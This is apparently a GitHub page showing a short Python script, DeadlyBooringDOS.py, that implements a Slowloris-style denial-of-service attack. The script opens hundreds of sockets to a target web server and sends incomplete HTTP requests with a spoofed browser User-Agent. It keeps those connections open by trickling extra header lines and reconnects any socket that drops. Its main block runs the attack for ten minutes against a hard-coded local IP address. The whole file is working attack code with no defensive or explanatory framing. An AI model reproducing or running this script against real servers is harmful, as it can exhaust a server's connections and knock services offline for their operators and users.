-
Notifications
You must be signed in to change notification settings - Fork 11
/
DeadlyBooringDOS.py
46 lines (40 loc) · 1.69 KB
/
DeadlyBooringDOS.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import socket, random, time, sys
class DeadlyBooring():
def __init__(self, ip, port=80, socketsCount = 200):
self._ip = ip
self._port = port
self._headers = [
"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)",
"Accept-Language: en-us,en;q=0.5"
]
self._sockets = [self.newSocket() for _ in range(socketsCount)]
def getMessage(self, message):
return (message + "{} HTTP/1.1\r\n".format(str(random.randint(0, 2000)))).encode("utf-8")
def newSocket(self):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(4)
s.connect((self._ip, self._port))
s.send(self.getMessage("Get /?"))
for header in self._headers:
s.send(bytes(bytes("{}\r\n".format(header).encode("utf-8"))))
return s
except socket.error as se:
print("Error: "+str(se))
time.sleep(0.5)
return self.newSocket()
def attack(self, timeout=sys.maxsize, sleep=15):
t, i = time.time(), 0
while(time.time() - t < timeout):
for s in self._sockets:
try:
print("Sending request #{}".format(str(i)))
s.send(self.getMessage("X-a: "))
i += 1
except socket.error:
self._sockets.remove(s)
self._sockets.append(self.newSocket())
time.sleep(sleep/len(self._sockets))
if __name__ == "__main__":
dos = DeadlyBooring("192.168.0.236", 81, socketsCount=200)
dos.attack(timeout=60*10)